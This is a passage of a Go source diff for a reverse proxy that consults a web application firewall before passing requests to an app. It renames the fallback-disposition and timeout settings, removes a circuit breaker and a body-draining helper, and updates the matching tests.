wantGreeting(t, readAnswer(t, conn))
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
|
func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -336,7 +148,7 @@ func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
|
|||||||
mayReachApp bool
|
mayReachApp bool
|
||||||
}{
|
}{
|
||||||
{"within the first part", "1K", 2 << 10, false},
|
{"within the first part", "1K", 2 << 10, false},
|
||||||
{"past the first part", limitPastFirstPart, 129 << 10, true},
|
{"past the first part", "128K", 129 << 10, true},
|
||||||
} {
|
} {
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|||||||
@@ -407,7 +407,7 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
|
|||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
if line["status"] != float64(http.StatusMethodNotAllowed) ||
|
if line["status"] != float64(http.StatusMethodNotAllowed) ||
|
||||||
line["disposition"] != nil || line["waf_backend_no_answer"] != nil {
|
line["disposition"] != nil || line["default_disposition"] != nil {
|
||||||
t.Errorf("line %v, want status 405 and no disposition", line)
|
t.Errorf("line %v, want status 405 and no disposition", line)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -490,7 +490,7 @@ func TestARequestThatCannotGoToWAFAsSentIsRefused(t *testing.T) {
|
|||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
if line["status"] != float64(http.StatusBadRequest) ||
|
if line["status"] != float64(http.StatusBadRequest) ||
|
||||||
line["disposition"] != nil || line["waf_backend_no_answer"] != nil {
|
line["disposition"] != nil || line["default_disposition"] != nil {
|
||||||
t.Errorf("line %v, want status 400 and no disposition", line)
|
t.Errorf("line %v, want status 400 and no disposition", line)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -38,10 +38,6 @@ const plainText = "text/plain; charset=utf-8"
|
|||||||
// and the visitor then gets a closed connection and no answer.
|
// and the visitor then gets a closed connection and no answer.
|
||||||
const minSendTime = 10 * time.Second
|
const minSendTime = 10 * time.Second
|
||||||
|
|
||||||
// maxBodyReadAfterAnswer is the most of a body left unread that Go's server
|
|
||||||
// reads once the handler returns, for a visitor without Connection: close.
|
|
||||||
const maxBodyReadAfterAnswer = 256 << 10
|
|
||||||
|
|
||||||
// errResponseTooLate refuses an app's answer that arrives once
|
// errResponseTooLate refuses an app's answer that arrives once
|
||||||
// SWW_RPROXY_MAX_RESPONSE_TIME_MS has run out.
|
// SWW_RPROXY_MAX_RESPONSE_TIME_MS has run out.
|
||||||
var errResponseTooLate = errors.New(
|
var errResponseTooLate = errors.New(
|
||||||
@@ -65,13 +61,12 @@ type request struct {
|
|||||||
start time.Time
|
start time.Time
|
||||||
|
|
||||||
// disposition is what is done with the request: waf's valid disposition,
|
// disposition is what is done with the request: waf's valid disposition,
|
||||||
// or SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION. It is "" when neither
|
// or SWW_RPROXY_DEFAULT_DISPOSITION. It is "" when neither gave one.
|
||||||
// gave one.
|
|
||||||
disposition string
|
disposition string
|
||||||
// answered is true when waf gave disposition, which makes a report due,
|
// answered is true when waf gave disposition, which makes a report due,
|
||||||
// and wafNoAnswer when SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION did.
|
// and byDefault when SWW_RPROXY_DEFAULT_DISPOSITION did.
|
||||||
answered bool
|
answered bool
|
||||||
wafNoAnswer bool
|
byDefault bool
|
||||||
// asn and country are waf's X-Client-ASN and X-Client-Country, for the
|
// asn and country are waf's X-Client-ASN and X-Client-Country, for the
|
||||||
// app.
|
// app.
|
||||||
asn, country string
|
asn, country string
|
||||||
@@ -343,8 +338,8 @@ func (rq *request) answer(status int) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// A visitor found too slow is read no more; any other may go on sending until
|
// A visitor found too slow is read no more; any other may go on sending until
|
||||||
// its time is up, so that the rest of the body is read and the request ends
|
// its time is up, so that Go's server can read the rest of the body and end
|
||||||
// cleanly: by Go's server, or by readRestOfBody.
|
// the request cleanly.
|
||||||
deadline := rq.requestDeadline()
|
deadline := rq.requestDeadline()
|
||||||
if status == http.StatusRequestTimeout {
|
if status == http.StatusRequestTimeout {
|
||||||
deadline = time.Now()
|
deadline = time.Now()
|
||||||
@@ -455,7 +450,7 @@ func (rq *request) finish(ctx context.Context) {
|
|||||||
),
|
),
|
||||||
DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)),
|
DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)),
|
||||||
Disposition: rq.disposition,
|
Disposition: rq.disposition,
|
||||||
WAFBackendNoAnswer: rq.wafNoAnswer,
|
DefaultDisposition: rq.byDefault,
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -528,35 +523,10 @@ func (rq *request) stopReadingBody(deadline time.Time) {
|
|||||||
_ = rq.rc.SetReadDeadline(deadline)
|
_ = rq.rc.SetReadDeadline(deadline)
|
||||||
}
|
}
|
||||||
|
|
||||||
// readRestOfBody reads up to 256 KiB of the rest of the body once the visitor
|
|
||||||
// has been answered with a Content-Length, until the read deadline already set on
|
|
||||||
// the connection. It does this only for a body with a declared length from a
|
|
||||||
// visitor that sent Connection: close, because Go's server reads none of that
|
|
||||||
// rest. Without the read, the visitor, still sending, gets a reset and may never
|
|
||||||
// read the answer. Go's server ends an answer without a Content-Length only once
|
|
||||||
// the handler returns, so reading first would hold back the end of that answer.
|
|
||||||
// Past 256 KiB, the MaxBytesReader made with Go's own ResponseWriter has Go's
|
|
||||||
// server tell the visitor it sends no more, then wait 500 ms before it closes
|
|
||||||
// the connection.
|
|
||||||
func (rq *request) readRestOfBody() {
|
|
||||||
if !rq.in.Close || rq.in.ContentLength <= 0 || rq.body.received.Load() ||
|
|
||||||
rq.out.Header().Get("Content-Length") == "" ||
|
|
||||||
rq.out.status == http.StatusSwitchingProtocols {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
rest := http.MaxBytesReader(
|
|
||||||
rq.out.ResponseWriter,
|
|
||||||
rq.in.Body,
|
|
||||||
maxBodyReadAfterAnswer,
|
|
||||||
)
|
|
||||||
_, _ = io.Copy(io.Discard, rest)
|
|
||||||
}
|
|
||||||
|
|
||||||
// stopPassingOnBody ends the transport's reading of a visitor's body that has
|
// stopPassingOnBody ends the transport's reading of a visitor's body that has
|
||||||
// not arrived whole, and lets Go's server, or readRestOfBody, read the rest until
|
// not arrived whole, and lets Go's server read the rest until deadline. Go's
|
||||||
// deadline. Go's server reads it once the handler returns, but with no deadline
|
// server reads it once the handler returns, but with no deadline at all if
|
||||||
// at all if another read of it is still waiting.
|
// another read of it is still waiting.
|
||||||
func (rq *request) stopPassingOnBody(deadline time.Time) {
|
func (rq *request) stopPassingOnBody(deadline time.Time) {
|
||||||
if rq.body == nil || rq.body.received.Load() {
|
if rq.body == nil || rq.body.received.Load() {
|
||||||
return
|
return
|
||||||
|
|||||||
+10
-19
@@ -1,14 +1,12 @@
|
|||||||
// Package rproxy is the reverse proxy in front of one app that asks waf
|
// Package rproxy is the reverse proxy in front of one app that asks waf
|
||||||
// about each request. It passes a request waf allows to the app and the
|
// about each request. It passes a request waf allows to the app and the
|
||||||
// app's answer back, within the size and time limits. Any other answer from
|
// app's answer back, within the size and time limits. Any other answer from
|
||||||
// waf goes to the visitor as waf gave it.
|
// waf goes to the visitor as waf gave it. SWW_RPROXY_DEFAULT_DISPOSITION
|
||||||
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION decides only when waf cannot
|
// decides only when waf cannot be connected to, does not answer at all, or
|
||||||
// be connected to, does not answer at all, or does not answer within
|
// does not answer within SWW_RPROXY_TIMEOUT_MS. rproxy itself refuses a request with a
|
||||||
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS, or while the circuit breaker for asks to
|
// method it does not pass on, or one it cannot put to waf as the visitor
|
||||||
// waf is open. rproxy itself refuses a request with a method it does not pass
|
// sent it. It keeps nothing between requests and writes nothing to disk. "rproxy" in
|
||||||
// on, or one it cannot put to waf as the visitor sent it. It keeps nothing
|
// SPEC.md says what it does.
|
||||||
// between requests but the circuit breaker, and writes nothing to disk.
|
|
||||||
// "rproxy" in SPEC.md says what it does.
|
|
||||||
package rproxy
|
package rproxy
|
||||||
|
|
||||||
import (
|
import (
|
||||||
@@ -94,7 +92,6 @@ func New(params Params) *Server {
|
|||||||
reportURL: (&url.URL{
|
reportURL: (&url.URL{
|
||||||
Scheme: backend.Scheme, Host: backend.Host, Path: waf.ReportPath,
|
Scheme: backend.Scheme, Host: backend.Host, Path: waf.ReportPath,
|
||||||
}).String(),
|
}).String(),
|
||||||
breakerClock: time.Now,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return &Server{
|
return &Server{
|
||||||
@@ -111,8 +108,8 @@ func New(params Params) *Server {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// WaitForReports returns once the reports being sent have gone or failed,
|
// WaitForReports returns once the reports being sent have gone or failed,
|
||||||
// which SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS bounds. Any report after this call
|
// which SWW_RPROXY_TIMEOUT_MS bounds. Any report after this call is dropped: that of
|
||||||
// is dropped: that of a WebSocket that closes while rproxy stops, for one.
|
// a WebSocket that closes while rproxy stops, for one.
|
||||||
func (s *Server) WaitForReports() {
|
func (s *Server) WaitForReports() {
|
||||||
s.h.reportsMu.Lock()
|
s.h.reportsMu.Lock()
|
||||||
s.h.reportsStopped = true
|
s.h.reportsStopped = true
|
||||||
@@ -134,10 +131,6 @@ type handler struct {
|
|||||||
wafTransport http.RoundTripper
|
wafTransport http.RoundTripper
|
||||||
// reportURL is where the reports go.
|
// reportURL is where the reports go.
|
||||||
reportURL string
|
reportURL string
|
||||||
// breaker is the circuit breaker for asks to waf, and breakerClock gives it
|
|
||||||
// the time.
|
|
||||||
breaker breaker
|
|
||||||
breakerClock func() time.Time
|
|
||||||
// reports waits for the reports being sent. reportsMu guards starting one
|
// reports waits for the reports being sent. reportsMu guards starting one
|
||||||
// against reportsStopped, which is set once nothing is to wait for another.
|
// against reportsStopped, which is set once nothing is to wait for another.
|
||||||
reports sync.WaitGroup
|
reports sync.WaitGroup
|
||||||
@@ -176,7 +169,6 @@ func newWAFTransport() *http.Transport {
|
|||||||
// it writes the request's log line and sends its report.
|
// it writes the request's log line and sends its report.
|
||||||
func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||||
rq := h.newRequest(w, r)
|
rq := h.newRequest(w, r)
|
||||||
defer rq.readRestOfBody()
|
|
||||||
defer rq.finish(r.Context())
|
defer rq.finish(r.Context())
|
||||||
|
|
||||||
if r.Method == http.MethodGet && r.URL.Path == waf.HealthPath {
|
if r.Method == http.MethodGet && r.URL.Path == waf.HealthPath {
|
||||||
@@ -202,7 +194,7 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
answer, err := rq.askUnlessBreakerOpen(r.Context())
|
answer, err := rq.ask(r.Context())
|
||||||
if err != nil {
|
if err != nil {
|
||||||
rq.handleNoUsableAnswer(r.Context(), err)
|
rq.handleNoUsableAnswer(r.Context(), err)
|
||||||
|
|
||||||
@@ -225,8 +217,7 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
|||||||
|
|
||||||
// passToApp passes the request on to the app, unless a limit or its path keeps
|
// passToApp passes the request on to the app, unless a limit or its path keeps
|
||||||
// it from the app. waf answers a path under ownEndpointPrefix itself, so
|
// it from the app. waf answers a path under ownEndpointPrefix itself, so
|
||||||
// such a request gets here only when
|
// such a request gets here only when SWW_RPROXY_DEFAULT_DISPOSITION allowed it.
|
||||||
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION allowed it.
|
|
||||||
// ctx is the request's own context.
|
// ctx is the request's own context.
|
||||||
func (rq *request) passToApp(ctx context.Context) {
|
func (rq *request) passToApp(ctx context.Context) {
|
||||||
maxBytes := rq.h.config.MaxRequestSize
|
maxBytes := rq.h.config.MaxRequestSize
|
||||||
|
|||||||
+39
-234
@@ -15,7 +15,6 @@ import (
|
|||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"sync/atomic"
|
|
||||||
"testing"
|
"testing"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
@@ -45,8 +44,8 @@ const (
|
|||||||
|
|
||||||
// The settings the tests set.
|
// The settings the tests set.
|
||||||
const (
|
const (
|
||||||
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
timeoutSetting = "SWW_RPROXY_TIMEOUT_MS"
|
||||||
noAnswerSetting = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
|
defaultDisposition = "SWW_RPROXY_DEFAULT_DISPOSITION"
|
||||||
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
|
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
|
||||||
maxRequestSize = "SWW_RPROXY_MAX_REQUEST_SIZE"
|
maxRequestSize = "SWW_RPROXY_MAX_REQUEST_SIZE"
|
||||||
maxResponseSize = "SWW_RPROXY_MAX_RESPONSE_SIZE"
|
maxResponseSize = "SWW_RPROXY_MAX_RESPONSE_SIZE"
|
||||||
@@ -324,8 +323,7 @@ func greet(w http.ResponseWriter, r *http.Request) {
|
|||||||
|
|
||||||
// startRProxy starts rproxy with waf at backend and the app at appURL, and
|
// startRProxy starts rproxy with waf at backend and the app at appURL, and
|
||||||
// the settings in env on top of the defaults. It returns where rproxy listens
|
// the settings in env on top of the defaults. It returns where rproxy listens
|
||||||
// and what it writes. SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS is a minute unless env
|
// and what it writes.
|
||||||
// sets it, so that a busy host cannot make rproxy drop a question or a report.
|
|
||||||
func startRProxy(
|
func startRProxy(
|
||||||
t *testing.T, backend, appURL string, env map[string]string,
|
t *testing.T, backend, appURL string, env map[string]string,
|
||||||
) (string, *output) {
|
) (string, *output) {
|
||||||
@@ -356,22 +354,8 @@ func startServerLogging(
|
|||||||
) (string, *rproxy.Server) {
|
) (string, *rproxy.Server) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
server := newServer(t, backend, appURL, env, requestLog, processLog)
|
|
||||||
|
|
||||||
return serve(t, server), server
|
|
||||||
}
|
|
||||||
|
|
||||||
// newServer returns rproxy, not yet serving, with its request lines going to
|
|
||||||
// requestLog and its process lines to processLog.
|
|
||||||
func newServer(
|
|
||||||
t *testing.T, backend, appURL string, env map[string]string,
|
|
||||||
requestLog, processLog io.Writer,
|
|
||||||
) *rproxy.Server {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
settings := map[string]string{
|
settings := map[string]string{
|
||||||
"SWW_RPROXY_WAF_BACKEND": backend, "SWW_RPROXY_UPSTREAM_URL": appURL,
|
"SWW_RPROXY_WAF_BACKEND": backend, "SWW_RPROXY_UPSTREAM_URL": appURL,
|
||||||
wafBackendTimeout: "60000",
|
|
||||||
}
|
}
|
||||||
maps.Copy(settings, env)
|
maps.Copy(settings, env)
|
||||||
|
|
||||||
@@ -380,7 +364,7 @@ func newServer(
|
|||||||
t.Fatalf("settings %v: %v", settings, err)
|
t.Fatalf("settings %v: %v", settings, err)
|
||||||
}
|
}
|
||||||
|
|
||||||
return rproxy.New(rproxy.Params{
|
server := rproxy.New(rproxy.Params{
|
||||||
Config: cfg,
|
Config: cfg,
|
||||||
RequestLog: requestLog,
|
RequestLog: requestLog,
|
||||||
ProcessLog: requestlog.NewProcessLogger(
|
ProcessLog: requestlog.NewProcessLogger(
|
||||||
@@ -389,11 +373,6 @@ func newServer(
|
|||||||
slog.LevelInfo,
|
slog.LevelInfo,
|
||||||
),
|
),
|
||||||
})
|
})
|
||||||
}
|
|
||||||
|
|
||||||
// serve has server serve until the test ends, and returns its address.
|
|
||||||
func serve(t *testing.T, server *rproxy.Server) string {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
listener, err := (&net.ListenConfig{}).Listen(
|
listener, err := (&net.ListenConfig{}).Listen(
|
||||||
t.Context(),
|
t.Context(),
|
||||||
@@ -414,7 +393,7 @@ func serve(t *testing.T, server *rproxy.Server) string {
|
|||||||
server.WaitForReports()
|
server.WaitForReports()
|
||||||
})
|
})
|
||||||
|
|
||||||
return listener.Addr().String()
|
return listener.Addr().String(), server
|
||||||
}
|
}
|
||||||
|
|
||||||
// answered is the visitor's answer.
|
// answered is the visitor's answer.
|
||||||
@@ -795,7 +774,7 @@ func TestDenyGivesTheVisitorWAFsAnswer(t *testing.T) {
|
|||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
if line["disposition"] != dispositionDeny ||
|
if line["disposition"] != dispositionDeny ||
|
||||||
line["waf_backend_no_answer"] != nil {
|
line["default_disposition"] != nil {
|
||||||
t.Errorf("line %v, want waf's deny", line)
|
t.Errorf("line %v, want waf's deny", line)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -977,8 +956,7 @@ func answeringWith(answer http.HandlerFunc) func(t *testing.T) string {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// noAnswers are the ways waf can leave the decision to
|
// noAnswers are the ways waf can leave the decision to the default.
|
||||||
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION.
|
|
||||||
func noAnswers() map[string]func(t *testing.T) string {
|
func noAnswers() map[string]func(t *testing.T) string {
|
||||||
return map[string]func(t *testing.T) string{
|
return map[string]func(t *testing.T) string{
|
||||||
"no connection": func(*testing.T) string { return nowhere },
|
"no connection": func(*testing.T) string { return nowhere },
|
||||||
@@ -1030,8 +1008,7 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
|
|||||||
{"an unknown disposition", "maybe", "who knows\n", http.StatusOK},
|
{"an unknown disposition", "maybe", "who knows\n", http.StatusOK},
|
||||||
} {
|
} {
|
||||||
for _, setting := range []string{dispositionAllow, dispositionDeny} {
|
for _, setting := range []string{dispositionAllow, dispositionDeny} {
|
||||||
subtest := tc.name + " with " + noAnswerSetting + "=" + setting
|
t.Run(tc.name+" with the default "+setting, func(t *testing.T) {
|
||||||
t.Run(subtest, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
standIn := startWAF(
|
standIn := startWAF(
|
||||||
@@ -1054,7 +1031,7 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
|
|||||||
standIn.URL,
|
standIn.URL,
|
||||||
app.URL,
|
app.URL,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
noAnswerSetting: setting,
|
defaultDisposition: setting,
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -1070,9 +1047,9 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
|
|||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
if line["status"] != float64(tc.status) ||
|
if line["status"] != float64(tc.status) ||
|
||||||
line["waf_backend_no_answer"] != nil {
|
line["default_disposition"] != nil {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
"line %v, want status %d and no waf_backend_no_answer",
|
"line %v, want status %d and no default",
|
||||||
line,
|
line,
|
||||||
tc.status,
|
tc.status,
|
||||||
)
|
)
|
||||||
@@ -1132,7 +1109,7 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
|
|||||||
_, _ = w.Write(make([]byte, size))
|
_, _ = w.Write(make([]byte, size))
|
||||||
})
|
})
|
||||||
addr, _ := startRProxy(t, standIn.URL, nowhere, map[string]string{
|
addr, _ := startRProxy(t, standIn.URL, nowhere, map[string]string{
|
||||||
wafBackendTimeout: "60000",
|
timeoutSetting: "60000",
|
||||||
})
|
})
|
||||||
|
|
||||||
got := get(t, addr, "/")
|
got := get(t, addr, "/")
|
||||||
@@ -1225,8 +1202,7 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
|
|||||||
"a 101 that holds its connection open": answeringWith(switchAndHold),
|
"a 101 that holds its connection open": answeringWith(switchAndHold),
|
||||||
} {
|
} {
|
||||||
for _, setting := range []string{dispositionAllow, dispositionDeny} {
|
for _, setting := range []string{dispositionAllow, dispositionDeny} {
|
||||||
subtest := name + " with " + noAnswerSetting + "=" + setting
|
t.Run(name+" with the default "+setting, func(t *testing.T) {
|
||||||
t.Run(subtest, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||||
@@ -1237,8 +1213,8 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
|
|||||||
backend(t),
|
backend(t),
|
||||||
app.URL,
|
app.URL,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
wafBackendTimeout: "60000",
|
timeoutSetting: "60000",
|
||||||
noAnswerSetting: setting,
|
defaultDisposition: setting,
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -1248,7 +1224,7 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
|
|||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
if line["status"] != float64(http.StatusBadGateway) ||
|
if line["status"] != float64(http.StatusBadGateway) ||
|
||||||
line["disposition"] != nil || line["waf_backend_no_answer"] != nil {
|
line["disposition"] != nil || line["default_disposition"] != nil {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
"line %v, want status 502 and no disposition",
|
"line %v, want status 502 and no disposition",
|
||||||
line,
|
line,
|
||||||
@@ -1266,7 +1242,7 @@ func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) {
|
|||||||
|
|
||||||
standIn := startWAF(t, overOneMiB(dispositionDeny))
|
standIn := startWAF(t, overOneMiB(dispositionDeny))
|
||||||
addr, out := startRProxy(t, standIn.URL, nowhere, map[string]string{
|
addr, out := startRProxy(t, standIn.URL, nowhere, map[string]string{
|
||||||
wafBackendTimeout: "60000",
|
timeoutSetting: "60000",
|
||||||
})
|
})
|
||||||
|
|
||||||
if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
|
if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
|
||||||
@@ -1277,9 +1253,7 @@ func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) {
|
|||||||
standIn.wantNoReport(t)
|
standIn.wantNoReport(t)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
|
func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for name, backend := range noAnswers() {
|
for name, backend := range noAnswers() {
|
||||||
@@ -1292,7 +1266,7 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
|
|||||||
backend(t),
|
backend(t),
|
||||||
app.URL,
|
app.URL,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
wafBackendTimeout: "200",
|
timeoutSetting: "200",
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -1300,11 +1274,8 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
|
|||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
if line["disposition"] != dispositionAllow ||
|
if line["disposition"] != dispositionAllow ||
|
||||||
line["waf_backend_no_answer"] != true {
|
line["default_disposition"] != true {
|
||||||
t.Errorf(
|
t.Errorf("line %v, want allow by default", line)
|
||||||
"line %v, want allow and waf_backend_no_answer",
|
|
||||||
line,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -1319,8 +1290,8 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
|
|||||||
backend(t),
|
backend(t),
|
||||||
app.URL,
|
app.URL,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
wafBackendTimeout: "200",
|
timeoutSetting: "200",
|
||||||
noAnswerSetting: dispositionDeny,
|
defaultDisposition: dispositionDeny,
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -1331,21 +1302,18 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
|
|||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
if line["disposition"] != dispositionDeny ||
|
if line["disposition"] != dispositionDeny ||
|
||||||
line["waf_backend_no_answer"] != true {
|
line["default_disposition"] != true {
|
||||||
t.Errorf(
|
t.Errorf("line %v, want deny by default", line)
|
||||||
"line %v, want deny and waf_backend_no_answer",
|
|
||||||
line,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
|
func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, disposition := range []string{dispositionAllow, dispositionDeny} {
|
for _, disposition := range []string{dispositionAllow, dispositionDeny} {
|
||||||
t.Run(noAnswerSetting+"="+disposition, func(t *testing.T) {
|
t.Run("with the default "+disposition, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
standIn := startWAF(
|
standIn := startWAF(
|
||||||
@@ -1362,8 +1330,8 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
|
|||||||
standIn.URL,
|
standIn.URL,
|
||||||
app.URL,
|
app.URL,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
wafBackendTimeout: "60000",
|
timeoutSetting: "60000",
|
||||||
noAnswerSetting: disposition,
|
defaultDisposition: disposition,
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -1375,7 +1343,7 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
|
|||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
if line["status"] != 0.0 || line["disposition"] != nil ||
|
if line["status"] != 0.0 || line["disposition"] != nil ||
|
||||||
line["waf_backend_no_answer"] != nil {
|
line["default_disposition"] != nil {
|
||||||
t.Errorf("line %v, want status 0 and no disposition", line)
|
t.Errorf("line %v, want status 0 and no disposition", line)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1388,9 +1356,7 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRProxyWarnsWhenTheWAFBackendNoAnswerDispositionDecides(
|
func TestRProxyWarnsWhenTheDefaultDecides(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
@@ -1408,7 +1374,7 @@ func TestSendsNoReportWithoutAnAnswer(t *testing.T) {
|
|||||||
})
|
})
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||||
wafBackendTimeout: "200",
|
timeoutSetting: "200",
|
||||||
})
|
})
|
||||||
|
|
||||||
wantGreeting(t, get(t, addr, "/"))
|
wantGreeting(t, get(t, addr, "/"))
|
||||||
@@ -1416,167 +1382,6 @@ func TestSendsNoReportWithoutAnAnswer(t *testing.T) {
|
|||||||
standIn.wantNoReport(t)
|
standIn.wantNoReport(t)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestFiveFailedAsksKeepTheNextRequestFromAskingWAF(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for name, failure := range map[string]http.HandlerFunc{
|
|
||||||
"no answer at all": func(http.ResponseWriter, *http.Request) {
|
|
||||||
panic(http.ErrAbortHandler)
|
|
||||||
},
|
|
||||||
"a slow answer": func(_ http.ResponseWriter, r *http.Request) {
|
|
||||||
<-r.Context().Done()
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
t.Run(name, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
var answering atomic.Bool
|
|
||||||
|
|
||||||
standIn := startWAF(
|
|
||||||
t,
|
|
||||||
func(w http.ResponseWriter, r *http.Request) {
|
|
||||||
if answering.Load() {
|
|
||||||
allow(w, r)
|
|
||||||
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
failure(w, r)
|
|
||||||
},
|
|
||||||
)
|
|
||||||
nextID := make(chan string, 1)
|
|
||||||
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
|
